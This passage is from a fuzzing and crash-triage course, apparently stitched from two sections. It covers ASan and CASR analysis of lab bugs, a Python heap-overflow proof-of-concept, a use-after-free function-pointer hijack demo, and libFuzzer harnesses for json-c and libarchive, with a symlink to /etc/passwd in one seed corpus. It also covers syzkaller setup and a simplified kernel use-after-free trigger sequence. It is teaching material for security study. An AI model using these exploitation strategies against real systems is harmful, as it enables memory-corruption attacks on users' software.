0x7ffd7d3885a0 sp 0x7ffd7d388598\nWRITE of size 1 at 0x502000000014 thread T0\n    #0 0x5fa5104bd932 in process_image vuln_intoverflow.c:17:23\n    #1 0x5fa5104bdad0 in main vuln_intoverflow.c:31:5\n\n0x502000000014 is located 3 bytes after 1-byte region [0x502000000010,0x502000000011)\nallocated by thread T0 here:\n    #1 0x5fa5104bd7fc in process_image vuln_intoverflow.c:12:23\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow vuln_intoverflow.c:17:23 in process_image\nShadow bytes around the buggy address:\n  0x501ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x502000000000: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa\n\n```\n\n**Root Cause**:\n\n1. **Integer Overflow**: `width * height` overflows 32-bit integer range, wrapping to 0.\n2. **Under-allocation**: `malloc(0)` allocates a tiny chunk.\n3. **Logic Mismatch**: Loop uses proper 64-bit bounds (or nested loops), iterating 4 billion times.\n4. **Heap Corruption**: Loop writes far beyond the allocated chunk.\n\n**Exploitability Assessment**:\n\n```bash\n# Classify crash with CASR\n# Note: UBSAN might print an error first, but ASAN catches the memory corruption\ncasr-san --stdout -- .\u002Fvuln_int_asan 2>&1 | tee intoverflow.casrep\n\n# The report will highlight:\n#    \"Type\": \"EXPLOITABLE\",\n#    \"ShortDescription\": \"heap-buffer-overflow(write)\",\n#    \"Description\": \"Heap buffer overflow\",\n\n# Verify manually in GDB:\ngdb .\u002Fvuln_int_asan\n(gdb) break vuln_intoverflow.c:17   # Break inside the loop\n(gdb) run\n(gdb) p buffer_size\n# $1 = 0\n(gdb) p buffer\n# $2 = (uint8_t *) 0x... (Valid small chunk)\n(gdb) x\u002F4gx buffer\n# Check adjacent memory (likely metadata or other chunks)\n(gdb) step\n# Watch the write to buffer[0] corrupting the heap\n(gdb) continue\n```\n\n**Exploitability Classification**: **EXPLOITABLE**\n\n**Exploitation Strategy**:\n\n1. **Heap Grooming**: Allocate a sensitive object (e.g., a structure with a function pointer) immediately after the vulnerable 0-byte allocation.\n2. **Trigger Overflow**: Send input with dimensions `0x10000 * 0x10000` to cause integer overflow -> `malloc(0)`.\n3. **Overwrite**: The loop writes attacker data (`fake_data`) into the adjacent sensitive object.\n4. **Hijack**: Trigger the use of the corrupted object (e.g., call the function pointer).\n\n### Building Proof-of-Concept Exploits\n\n#### Heap Overflow Example\n\n```bash\ncd ~\u002Fcrash_analysis\u002Fcase1_heap_overflow\ncat > buf_ov.py \u003C\u003C 'EOF'\n#!\u002Fusr\u002Fbin\u002Fenv python3\n# POC for heap buffer overflow in vuln_parser\n\nimport struct\n\ndef craft_overflow_input():\n    \"\"\"Create input that causes a massive overflow\"\"\"\n    # Target allocates 256 bytes. We claim size is 512.\n    table_size = 512\n\n    # Structure: [Size (4 bytes)] [Data (512 bytes)]\n    payload = struct.pack('\u003CI', table_size)\n    payload += b'A' * table_size\n\n    return payload\n\nwith open('poc_exploit.bin', 'wb') as f:\n    f.write(craft_overflow_input())\n\nprint(\"[+] Created poc_exploit.bin\")\nprint(\"[+] Run the ASan build for diagnostics or the no-sanitizer build for raw exploitation.\")\nEOF\npython3 buf_ov.py\n# Diagnostic run (shows detailed ASan report)\n.\u002Fvuln_parser_asan poc_exploit.bin\n\n# Realistic exploit run (no sanitizers, glibc notices corrupted heap metadata)\nclang-19 -g -O0 -o vuln_parser_nosan vuln_parser.c\nMALLOC_CHECK_=0 .\u002Fvuln_parser_nosan poc_exploit.bin\n```\n\n#### Use-After-Free Example\n\n```bash\ncd ~\u002Fcrash_analysis\u002Fcase2_uaf\n\n# Build a runtime version without sanitizers (ensures freed chunks are reused immediately)\nclang-19 -g -O0 -o vuln_uaf_nosan vuln_uaf.c\n\n# Optional: keep the ASan build for triage but disable quarantine to watch exploitation\n# ASAN_OPTIONS=quarantine_size_mb=0 .\u002Fvuln_uaf_asan\n\n# Execute the no-sanitizer build to watch the hijacked handler fire\n.\u002Fvuln_uaf_nosan\n```\n\nExpected console output:\n\n```\nEvil handler executed! Code execution via UAF.\n```\n\nTo force an outright crash (showing instruction-pointer control), change the spray in `attacker_groom_heap()` to:\n\n```c\nfake->process = (void (*)(void))0x4141414141414141ULL;\n```\n\nRunning `.\u002Fvuln_uaf_nosan` now ends with a segfault at `0x4141414141414141`, demonstrating control-flow hijack without AddressSanitizer interfering.\n\n### Key Takeaways\n\n1. **Sanitized vs non-sanitized builds**: Use ASan\u002FUBSan\u002FKASAN builds for **triage and root-cause**, then switch to **no-sanitizer builds** (with knobs like `ASAN_OPTIONS` or `MALLOC_CHECK_`) to study realistic heap behavior and exploitation.\n2. **Automated ratings are heuristics**: CASR’s `Type`\u002F`Severity` fields are a **starting point only**; Case Study 2 showed a UAF rated `NOT_EXPLOITABLE` even though a function pointer hijack is clearly possible.\n3. **Crash location vs root cause**: Tools often stop at the **first invalid access** (e.g., a read from freed memory) while the real exploit primitive (e.g., control-flow hijack) may be one instruction later.\n4. **Exploitability hinges on control**: In all three case studies, exploitation becomes realistic when the attacker controls **sizes (length, dimensions) and data** that drive allocation and memory writes.\n5. **Systematic PoC development**: The path is always _fuzz → crash → triage (ASan + CASR) → root cause → minimal reproducer → exploit PoC (heap metadata or function pointer overwrite)_.\n\n### Discussion Questions\n\n1. In your own workflow, when would you prefer to keep AddressSanitizer enabled, and when would you switch to a no-sanitizer build while evaluating exploitability?\n2. How could CASR’s `NOT_EXPLOITABLE` rating for the UAF case mislead a less experienced analyst, and what manual checks (in GDB) prevent that mistake?\n3. In the integer-overflow case, which variables and addresses would you inspect in GDB to confirm both under-allocation and the ensuing heap overwrite?\n4. How does the exact crash site (e.g., first invalid read vs later jump through a corrupted function pointer) change your assessment of exploitability and which tools notice it?\n5. How do modern mitigations (ASLR, DEP, hardened allocators, CFI) interact with the exploitation strategies you used in Case Studies 1–3, and what extra steps would be needed in a real target?\n\n### Further Reading\n\n#### Blog Posts and Case Studies\n\n- [Leveling Up Fuzzing: Finding more vulnerabilities with AI ](https:\u002F\u002Fsecurity.googleblog.com\u002F2024\u002F11\u002Fleveling-up-fuzzing-finding-more.html)\n- [AFL Success Stories](https:\u002F\u002Flcamtuf.blogspot.com\u002F2014\u002F11\u002Fafl-fuzz-nobody-expects-cdata-sections.html)\n- [5 CVEs Found with Feedback-Based Fuzzing](https:\u002F\u002Fwww.code-intelligence.com\u002Fblog\u002F5-cves-found-with-feedback-based-fuzzing)\n- [Syzkaller: Finding Bugs in the Linux Kernel](https:\u002F\u002Flwn.net\u002FArticles\u002F677764\u002F)\n- [OpenSSL Fuzzing Guide](https:\u002F\u002Fwww.openssl.org\u002Fdocs\u002Fman3.3\u002Fman7\u002Fossl-guide-fuzzing.html)\n- [Slice: SAST + LLM Interprocedural Context Extractor](https:\u002F\u002Fnoperator.dev\u002Fposts\u002Fslice\u002F) - Using build-free CodeQL + Tree-Sitter + GPT‑5 to triage ~1700 static UAF candidates in the Linux kernel down to a single real bug (CVE-2025-37778), a good complement to fuzzing-based crash triage.\n\n#### Practice Targets\n\n- [Fuzzing-Module](https:\u002F\u002Fgithub.com\u002Falex-maleno\u002FFuzzing-Module) - Learning exercises\n- [Damn Vulnerable C Program](https:\u002F\u002Fgithub.com\u002Fhardik05\u002FDamn_Vulnerable_C_Program) - Vulnerable code for practice\n\n## Day 7: Fuzzing Harness Development and Real-World Campaigns\n\n- **Goal**: Learn to write effective fuzzing harnesses and understand real-world fuzzing campaigns.\n- **Activities**:\n  - _Reading_:\n    - [libFuzzer Tutorial](https:\u002F\u002Fgithub.com\u002Fgoogle\u002Ffuzzing\u002Fblob\u002Fmaster\u002Ftutorial\u002FlibFuzzerTutorial.md)\n    - [OSS-Fuzz Integration Guide](https:\u002F\u002Fgoogle.github.io\u002Foss-fuzz\u002Fgetting-started\u002Fnew-project-guide\u002F)\n  - _Online Resources_:\n    - [Fuzzing Harness Examples](https:\u002F\u002Fgithub.com\u002Fgoogle\u002Ffuzzing\u002Ftree\u002Fmaster\u002Ftutorial)\n    - [ClusterFuzz](https:\u002F\u002Fgoogle.github.io\u002Fclusterfuzz\u002F) - Continuous fuzzing infrastructure\n  - _Concepts_:\n    - Harness design principles\n    - In-process vs out-of-process fuzzing\n    - Persistent mode optimization\n    - Seed corpus curation\n    - Continuous fuzzing integration\n\n### What is a Fuzzing Harness?\n\nA fuzzing harness is the code that:\n\n1. Receives fuzzer-generated input\n2. Prepares that input for the target API\n3. Calls the target functionality\n4. Handles errors\u002Fcleanup\n\n**Example - Bad Harness vs Good Harness**:\n\n```cpp\n\u002F\u002F BAD HARNESS: Slow, inefficient\nint main(int argc, char **argv) {\n    FILE *f = fopen(argv[1], \"rb\");  \u002F\u002F File I\u002FO every iteration!\n    \u002F\u002F ... read file ...\n    \u002F\u002F ... call target API ...\n    fclose(f);\n    return 0;\n}\n\n\u002F\u002F GOOD HARNESS: Fast, in-process\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n    \u002F\u002F Direct memory buffer, no I\u002FO\n    \u002F\u002F Called thousands of times per second in same process\n    target_api(data, size);\n    return 0;\n}\n```\n\n### Case Study: Writing Harness for JSON Parser\n\n**Target**: json-c library (real-world JSON parser)\n\n```bash\nmkdir -p ~\u002Fharness_dev && cd ~\u002Fharness_dev && mkdir json_harness && cd json_harness\n\n# Clone json-c\ngit clone --depth 1 https:\u002F\u002Fgithub.com\u002Fjson-c\u002Fjson-c.git\n\ncd ~\u002Fharness_dev\u002Fjson_harness\u002Fjson-c\nexport CC=clang-19\nexport CXX=clang++-19\nexport CFLAGS=\"-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,address -g -O1\"\nexport CXXFLAGS=\"-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,address -g -O1\"\ncmake -DBUILD_SHARED_LIBS=OFF .\u002F\nmake -j$(nproc)\n\ncd ~\u002Fharness_dev\u002Fjson_harness\n\n# Create fuzzing harness\ncat > fuzz_parse.c \u003C\u003C 'EOF'\n#include \u003Cjson-c\u002Fjson.h>\n#include \u003Cstdint.h>\n#include \u003Cstddef.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n    const char *data1 = (const char *)data;\n    json_tokener *tok = json_tokener_new();\n    json_object *obj = json_tokener_parse_ex(tok, data1, size);\n\n    if (obj) {\n        \u002F\u002F Exercise different API functions to increase coverage\n        json_object_to_json_string_ext(obj, JSON_C_TO_STRING_PRETTY | JSON_C_TO_STRING_SPACED);\n\n        if (json_object_is_type(obj, json_type_object)) {\n            json_object_object_foreach(obj, key, val) {\n                (void)json_object_get_type(val);\n                (void)json_object_get_string(val);\n            }\n        }\n\n        if (json_object_is_type(obj, json_type_array)) {\n            size_t len = json_object_array_length(obj);\n            for (size_t i = 0; i \u003C len; i++) {\n                json_object_array_get_idx(obj, i);\n            }\n        }\n\n        json_object_put(obj);\n    }\n\n    json_tokener_free(tok);\n    return 0;\n}\nEOF\n\n# Compile with libFuzzer\nclang-19 -g -fsanitize=address,fuzzer \\\n    -fno-sanitize-coverage=trace-cmp \\\n    -I. -Ijson-c \\\n    fuzz_parse.c \\\n    json-c\u002Flibjson-c.a \\\n    -o fuzz_json\n\n# Create seed corpus\nmkdir -p corpus\ncat > corpus\u002Fvalid1.json \u003C\u003C 'EOF'\n{\"name\": \"test\", \"value\": 42}\nEOF\n\ncat > corpus\u002Fvalid2.json \u003C\u003C 'EOF'\n[1, 2, 3, {\"nested\": \"object\"}]\nEOF\n\ncat > corpus\u002Fvalid3.json \u003C\u003C 'EOF'\n{\n    \"string\": \"value\",\n    \"number\": 123,\n    \"boolean\": true,\n    \"null\": null,\n    \"array\": [1, 2, 3],\n    \"object\": {\"key\": \"value\"}\n}\nEOF\n\n# Run libFuzzer, it might take a while to actually crash\n.\u002Ffuzz_json corpus\u002F -max_total_time=300 -print_final_stats=1 -max_len=10000\n```\n\n#### Harness Design Principles Applied\n\n1. **In-process execution**: `LLVMFuzzerTestOneInput` - no fork\u002Fexec overhead\n2. **Direct API targeting**: Calls `json_tokener_parse_ex` directly\n3. **Coverage maximization**: Exercises multiple code paths (objects, arrays, serialization)\n4. **Proper cleanup**: Frees allocated memory to avoid OOM\n5. **Sanitizer-friendly**: Works with ASAN\u002FUBSAN for bug detection\n\n### Case Study: Fuzzing Archive Extractors\n\nWhile CVE-2023-38831 was in closed-source WinRAR, let's fuzz open-source alternatives with similar architectures.\n\n```bash\ncd ~\u002Fharness_dev && mkdir archive_campaign && cd archive_campaign\n\n# Target: libarchive (used by many archive tools)\ngit clone --depth 1 --branch v3.5.1 https:\u002F\u002Fgithub.com\u002Flibarchive\u002Flibarchive.git\ncd ~\u002Fharness_dev\u002Farchive_campaign\u002Flibarchive\n\nexport CC=clang-19\nexport CXX=clang++-19\nexport CFLAGS=\"-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,undefined,address -g -O1\"\nexport CXXFLAGS=\"-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,undefined,address -g -O1\"\n\ncmake -DENABLE_TEST=OFF .\nmake -j$(nproc)\n\ncd ~\u002Fharness_dev\u002Farchive_campaign\u002F\n\ncat > fuzz_archive_read.c \u003C\u003C 'EOF'\n#include \"archive.h\"\n#include \"archive_entry.h\"\n#include \u003Cstdint.h>\n#include \u003Cstddef.h>\n#include \u003Cstdlib.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n    struct archive *a;\n    struct archive_entry *entry;\n    int r;\n\n    a = archive_read_new();\n    if (!a) return 0;\n\n    archive_read_support_filter_all(a);\n    archive_read_support_format_all(a);\n\n    r = archive_read_open_memory(a, data, size);\n    if (r != ARCHIVE_OK) {\n        archive_read_free(a);\n        return 0;\n    }\n\n    while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {\n        const char *name = archive_entry_pathname(entry);\n        int64_t size = archive_entry_size(entry);\n        mode_t mode = archive_entry_mode(entry);\n        time_t mtime = archive_entry_mtime(entry);\n\n        const char *linkname = archive_entry_symlink(entry);\n        const char *hardlink = archive_entry_hardlink(entry);\n\n        const void *buff;\n        size_t read_size;\n        int64_t offset;\n        while (archive_read_data_block(a, &buff, &read_size, &offset) == ARCHIVE_OK) {\n            \u002F\u002F Just consume data, no processing needed\n        }\n    }\n\n    archive_read_free(a);\n    return 0;\n}\nEOF\n\n# Compile harness\nclang-19 -g -O1 -fsanitize=address,undefined,fuzzer \\\n    -fno-sanitize-coverage=trace-cmp \\\n    -I.\u002Flibarchive\u002Flibarchive \\\n    fuzz_archive_read.c -o fuzz_archive \\\n    libarchive\u002Flibarchive\u002Flibarchive.a \\\n    -lz -llzma -lzstd -lxml2 -lcrypto -ldl -lpthread\n\n# Build diverse seed corpus\nmkdir -p corpus_archive\n\n# Valid archives of different formats\n# ZIP\necho \"Test file\" > \u002Ftmp\u002Ftest.txt\nzip corpus_archive\u002Fsample.zip \u002Ftmp\u002Ftest.txt\n\n# TAR.GZ\ntar czf corpus_archive\u002Fsample.tar.gz \u002Ftmp\u002Ftest.txt\n\n# 7z (if available)\n7z a corpus_archive\u002Fsample.7z \u002Ftmp\u002Ftest.txt 2>\u002Fdev\u002Fnull || true\n\n# RAR (if available)\nrar a corpus_archive\u002Fsample.rar \u002Ftmp\u002Ftest.txt 2>\u002Fdev\u002Fnull || true\n\n# Archive with symlink (common bug location)\nln -sf \u002Fetc\u002Fpasswd \u002Ftmp\u002Fsymlink_test\ntar czf corpus_archive\u002Fwith_symlink.tar.gz \u002Ftmp\u002Fsymlink_test 2>\u002Fdev\u002Fnull || true\n\n# Run fuzzing campaign\n.\u002Ffuzz_archive corpus_archive\u002F \\\n    -max_total_time=3600 \\\n    -timeout=30 \\\n    -rss_limit_mb=2048 \\\n    -print_final_stats=1\n```\n\n**What This Campaign Targets**:\n\n1. **Format parsing bugs**: TAR, ZIP, RAR, 7z, etc.\n2. **Compression algorithms**: gzip, bzip2, lzma, zstd\n3. **Path traversal**: Symlink\u002Fhardlink handling (like CVE-2023-38831)\n4. **Metadata parsing**: Timestamps, permissions, extended attributes\n5. **Memory corruption**: Buffer overflows in decompression routines\n\n**Expected Findings** (based on real OSS-Fuzz results):\n\n- Integer overflows in size calculations\n- Path traversal via symlinks\n- Buffer overflows in compression codecs\n- Use-after-free in error handling paths\n\n### Key Takeaways\n\n1. **Harness Design is Critical**: Efficient harnesses (in-process, persistent) significantly outperform naive `fork()\u002Fexec()` wrappers.\n2. **Target Logic, Not Just I\u002FO**: Good harnesses bypass CLI parsing to exercise core API logic directly (e.g., `json_tokener_parse_ex`).\n3. **Seed Corpus Quality**: A diverse, minimized corpus of valid inputs accelerates code coverage discovery.\n4. **Sanitizers Enable Detection**: Memory bugs (ASAN) and undefined behavior (UBSAN) are only found if the harness is compiled with them.\n5. **Continuous Integration**: Tools like OSS-Fuzz automate the \"find → fix → verify\" loop, preventing regressions in evolved code.\n\n### Discussion Questions\n\n1. Why is an in-process harness (like `LLVMFuzzerTestOneInput`) orders of magnitude faster than a file-based CLI wrapper?\n2. How does defining a proper seed corpus (e.g., valid JSON\u002FZIP files) help the fuzzer penetrate deeper into the target's logic?\n3. What are the risks of \"over-mocking\" in a harness (e.g., bypassing too much initialization) versus \"under-mocking\" (doing too much I\u002FO)?\n4. How do you handle state cleanup in a persistent-mode harness to prevent false positives from memory leaks or global state pollution?\n5. Why is it important to fuzz different layers of an application (e.g., the compression layer vs. the archive parsing layer) separately?\n\n## Week 2 Capstone Project: The Fuzzing Campaign\n\n- **Goal**: Apply the week's techniques to discover and analyze a vulnerability in a real-world open source target or a complex challenge binary.\n- **Activities**:\n  - **Select a Target**:\n    - Choose a C\u002FC++ library that parses complex data (e.g., JSON, XML, Images, Archives, Network Packets).\n    - Suggestions: `json-c`, `libarchive`, `libpng`, `tinyxml2`, `mbedtls`, or a known vulnerable version of a project (e.g., `libwebp` 1.0.0).\n  - **Harness Development**:\n    - Write a `LLVMFuzzerTestOneInput` harness or an AFL++ persistent mode harness.\n    - Ensure the harness compiles with ASAN and UBSAN.\n  - **Campaign Execution**:\n    - Gather a valid seed corpus (from the internet or by generating samples).\n    - Minimize the corpus using `afl-cmin` or `afl-tmin` (or libFuzzer's merge mode).\n    - Run the fuzzer for at least 4 hours (or until a crash is found).\n  - **Triage and Analysis**:\n    - Deduplicate crashes.\n    - Use GDB and ASAN reports to identify the root cause (e.g., Heap Overflow, UAF).\n    - Determine exploitability (Control of instruction pointer? Arbitrary write?).\n  - **Report**:\n    - Document the target, harness code, campaign commands, and crash analysis.\n\n### Deliverables\n\n- A `fuzzing_report.md` containing:\n  - **Target Details**: Project name, version, and function targeted.\n  - **Harness Code**: The C\u002FC++ harness you wrote.\n  - **Campaign Stats**: Fuzzer used, duration, executions\u002Fsec, and coverage achieved.\n  - **Crash Analysis**: ASAN output, GDB investigation, and root cause explanation.\n  - **PoC**: A minimal input file that triggers the crash.\n\n### Looking Ahead to Week 3\n\nNext week, you'll learn patch diffing - analyzing security updates to understand what was fixed and discovering variant vulnerabilities. You'll see how fuzzing discoveries lead to patches, and how analyzing those patches can reveal additional bugs.\n\n\u003C!-- Written by AnotherOne from @Pwn3rzs Telegram channel -->\n","-- |\n| Total connections    | Billions                  | 0 (pure fuzzing)  |\n| Unique inputs tested | ~1,000 (typical sites)    | Trillions         |\n| Edge cases covered   | \u003C1%                       | >90%              |\n| Bugs found           | ~5 (via exploits)         | ~50               |\n\n**Key Insight**: Fuzzing explores input space breadth that production traffic never reaches.\n\n### Key Takeaways\n\n1. **Honggfuzz excels at complex targets**: Multi-threaded, persistent mode, hardware-assisted coverage\n2. **Protocol fuzzing requires stateful harnesses**: Must reach deep code paths beyond initial parsing\n3. **Continuous fuzzing prevents regressions**: OSS-Fuzz runs 24\u002F7, catches new bugs in code changes\n4. **Cryptographic code is fragile**: Parsers for ASN.1, X.509, PEM frequently have bugs\n5. **Timeout detection finds DoS bugs**: Infinite loops, algorithmic complexity issues\n\n### Discussion Questions\n\n1. Why does fuzzing find TLS bugs that years of production use don't reveal?\n2. What makes protocol fuzzing (TLS, HTTP\u002F2, DNS) more challenging than file format fuzzing?\n3. How does hardware-assisted coverage (Intel PT) improve fuzzing effectiveness?\n4. What are the limitations of fuzzing for finding cryptographic vulnerabilities vs implementation bugs?\n\n## Day 5: Introduction to `Syzkaller`\n\n- **Goal**: Begin kernel fuzzing with `Syzkaller`.\n- **Activities**:\n  - _Tool_: Install `Syzkaller` on a Linux VM.\n  - _Online Resource_: [`Syzkaller` Documentation](https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fsyzkaller\u002Fblob\u002Fmaster\u002Fdocs\u002Flinux\u002Fsetup_ubuntu-host_qemu-vm_x86-64-kernel.md)\n  - _Real-World Impact_:\n    - [Syzkaller Dashboard](https:\u002F\u002Fsyzkaller.appspot.com\u002F) - Shows thousands of bugs found by syzkaller\n    - [syzkaller: Finding Bugs in the Linux Kernel](https:\u002F\u002Flwn.net\u002FArticles\u002F677764\u002F) - Overview of syzkaller's impact\n    - Many CVEs discovered: Check [syzkaller bug reports](https:\u002F\u002Fsyzkaller.appspot.com\u002Fupstream) for real examples\n  - _Exercise_: Start fuzzing the Linux kernel with `Syzkaller`.\n\n```bash\n# Install kernel build dependencies\nsudo apt update\nsudo apt install -y make gcc flex bison libncurses-dev libelf-dev libssl-dev\n\n# Clone Linux kernel (use a recent stable version)\n# Check available tags: https:\u002F\u002Fgit.kernel.org\u002Fpub\u002Fscm\u002Flinux\u002Fkernel\u002Fgit\u002Ftorvalds\u002Flinux.git\u002Frefs\u002Ftags\ncd ~\u002Fsoft && git clone --branch v6.8 --depth 1 git:\u002F\u002Fgit.kernel.org\u002Fpub\u002Fscm\u002Flinux\u002Fkernel\u002Fgit\u002Ftorvalds\u002Flinux.git kernel\n\n# Verify kernel version\ncd kernel && git describe --tags\n\n# Configure kernel for syzkaller\nmake defconfig\nmake kvm_guest.config\n\n# Edit .config to enable syzkaller requirements\n# Use sed or manually edit .config\nsed -i 's\u002F# CONFIG_KCOV is not set\u002FCONFIG_KCOV=y\u002F' .config\nsed -i 's\u002F# CONFIG_DEBUG_INFO_DWARF4 is not set\u002FCONFIG_DEBUG_INFO_DWARF4=y\u002F' .config\nsed -i 's\u002F# CONFIG_KASAN is not set\u002FCONFIG_KASAN=y\u002F' .config\nsed -i 's\u002F# CONFIG_KASAN_INLINE is not set\u002FCONFIG_KASAN_INLINE=y\u002F' .config\nsed -i 's\u002F# CONFIG_CONFIGFS_FS is not set\u002FCONFIG_CONFIGFS_FS=y\u002F' .config\nsed -i 's\u002F# CONFIG_SECURITYFS is not set\u002FCONFIG_SECURITYFS=y\u002F' .config\necho 'CONFIG_CMDLINE_BOOL=y' >> .config\necho 'CONFIG_CMDLINE=\"net.ifnames=0\"' >> .config\n\nmake olddefconfig\nmake -j$(nproc)\n\n# Create VM image\nsudo apt install -y debootstrap\nmkdir -p ~\u002Fsoft\u002Fimage && cd ~\u002Fsoft\u002Fimage\nwget https:\u002F\u002Fraw.githubusercontent.com\u002Fgoogle\u002Fsyzkaller\u002Fmaster\u002Ftools\u002Fcreate-image.sh -O create-image.sh\nchmod +x create-image.sh\n.\u002Fcreate-image.sh --distribution trixie --feature full\n\n# Install QEMU\nsudo apt install -y qemu-system-x86\n\n# Test VM boot (optional - verify image works)\n# NOTE: You might need to run this outside of the vm, you might need to change net to e1000\ncd \u002Ftmp\u002F\nsudo qemu-system-x86_64 \\\n    -m 2G -smp 2 \\\n    -kernel ~\u002Fsoft\u002Fkernel\u002Farch\u002Fx86\u002Fboot\u002FbzImage \\\n    -append \"console=ttyS0 root=\u002Fdev\u002Fsda earlyprintk=serial net.ifnames=0\" \\\n    -drive file=~\u002Fsoft\u002Fimage\u002Ftrixie.img,format=raw \\\n    -net user,hostfwd=tcp:127.0.0.1:10021-:22 \\\n    -net nic,model=virtio -enable-kvm -nographic \\\n    -pidfile vm.pid 2>&1 | tee vm.log\n\n# In another terminal, test SSH access\nssh -i ~\u002Fsoft\u002Fimage\u002Ftrixie.id_rsa -p 10021 -o \"StrictHostKeyChecking no\" root@localhost\n\n# Install Go\ncd ~\u002Fsoft\nGO_VERSION=\"1.25.4\"\nwget \"https:\u002F\u002Fgo.dev\u002Fdl\u002Fgo${GO_VERSION}.linux-amd64.tar.gz\"\nsudo tar -C \u002Fusr\u002Flocal -xzf \"go${GO_VERSION}.linux-amd64.tar.gz\"\nexport PATH=$PATH:\u002Fusr\u002Flocal\u002Fgo\u002Fbin\n\n# Add to ~\u002F.bashrc for persistence\necho 'export PATH=$PATH:\u002Fusr\u002Flocal\u002Fgo\u002Fbin' >> ~\u002F.bashrc\n\n# Verify Go installation\ngo version\n\n# Clone and build syzkaller\ncd ~\u002Fsoft && git clone --branch master --depth 1 https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fsyzkaller.git\ncd syzkaller && make -j$(nproc)\n\n# Create syzkaller configuration\n# NOTE: If you are in the vm with e1000 then you don't need network_device line\ncat > my.cfg \u003C\u003C 'EOT'\n{\n    \"target\": \"linux\u002Famd64\",\n    \"http\": \"127.0.0.1:56741\",\n    \"workdir\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fsyzkaller\u002Fworkdir\",\n    \"kernel_src\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fkernel\",\n    \"image\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fimage\u002Ftrixie.img\",\n    \"sshkey\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fimage\u002Ftrixie.id_rsa\",\n    \"ssh_user\": \"root\",\n    \"syzkaller\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fsyzkaller\",\n    \"procs\": 8,\n    \"type\": \"qemu\",\n    \"vm\": {\n        \"count\": 3,\n        \"kernel\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fkernel\u002Farch\u002Fx86\u002Fboot\u002FbzImage\",\n        \"cmdline\": \"net.ifnames=0\",\n        \"cpu\": 2,\n        \"mem\": 2048,\n        \"network_device\": \"virtio-net-pci\"\n    }\n}\nEOT\n\n# Replace $USER with actual username\nsed -i \"s\u002FUSER\u002F$USER\u002Fg\" my.cfg\n\n# Create workdir and start syzkaller\nmkdir -p workdir\n# NOTE: this might take a while, run with -debug to to identify issues\nsudo .\u002Fbin\u002Fsyz-manager -config=my.cfg\n\n# Access web interface\n# Install text-based browser or use your regular browser\nsudo apt install -y w3m w3m-img\nw3m http:\u002F\u002F127.0.0.1:56741\n\n# Or open in regular browser: http:\u002F\u002F127.0.0.1:56741\n```\n\n**Success Criteria**:\n\n- Kernel compiles successfully with KASAN and KCOV enabled\n- VM image creates without errors\n- VM boots and is accessible via SSH\n- Syzkaller manager starts and shows web interface\n- Web interface displays fuzzing statistics\n\n**Expected Outputs**:\n\n- Web interface showing: exec total, crashes, coverage, etc.\n- Crashes appearing in `workdir\u002Fcrashes\u002F` directory\n- Kernel oops messages in VM logs\n\n**Troubleshooting**:\n\n- If kernel doesn't boot: Check QEMU\u002FKVM is enabled (`lsmod | grep kvm`)\n- If syzkaller can't connect: Verify SSH key permissions (`chmod 600 trixie.id_rsa`)\n- If no crashes: Let run longer - kernel fuzzing takes time\n- Memory issues: Reduce VM count in config if system runs out of RAM\n\n### Real-World Impact: Syzkaller's Contribution to Kernel Security\n\n**Case Study - CVE-2022-32250 (Linux Netfilter Use-After-Free)**:\n\nFrom Week 1, you learned about this vulnerability. Here's how syzkaller discovered it:\n\n- **Target**: `net\u002Fnetfilter\u002Fnf_tables_api.c` - Linux firewall subsystem\n- **Discovery Date**: May 2022\n- **Fuzzing Duration**: ~72 hours from code introduction to crash\n- **Root Cause**: Reference counting error in stateful expression handling\n\n**The Discovery Process**:\n\n```bash\n# Syzkaller's approach (simplified)\n# 1. System call description for netfilter operations\n{\n    \"nfnetlink_create\": {\n        \"protocol\": \"NETLINK_NETFILTER\",\n        \"operations\": [\"NFT_MSG_NEWTABLE\", \"NFT_MSG_NEWCHAIN\", \"NFT_MSG_NEWRULE\"]\n    }\n}\n\n# 2. Syscall sequence that triggered the bug\nsocket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER)\nsendmsg(fd, {\n    type: NFT_MSG_NEWTABLE,\n    flags: NLM_F_CREATE | NLM_F_EXCL,\n    data: [table_attrs]\n})\nsendmsg(fd, {\n    type: NFT_MSG_NEWCHAIN,\n    data: [chain_with_stateful_expr]\n})\n# Trigger: Modify stateful expression in specific sequence\nsendmsg(fd, {\n    type: NFT_MSG_NEWRULE,\n    data: [rule_update_that_frees_expr]\n})\n# Use freed expression -> UAF crash\n\n# 3. KASAN detected use-after-free\n# BUG: KASAN: use-after-free in nf_tables_expr_destroy+0x12\u002F0x20\n# Read of size 8 at addr ffff888012345678 by task syz-executor\u002F1234\n```\n\n**Why Syzkaller Found It**:\n\n1. **Syscall coverage**: Tests all netfilter operations systematically\n2. **Sequence exploration**: Tries millions of syscall orderings\n3. **State tracking**: Maintains kernel state across operations\n4. **KASAN integration**: Immediate detection of memory corruption\n5. **Reproducibility**: Generates C reproducer for developers\n\n**The Reproducer** (simplified):\n\n```c\n\u002F\u002F Generated by syzkaller - minimal reproducer\n#include \u003Csys\u002Fsocket.h>\n#include \u003Clinux\u002Fnetlink.h>\n#include 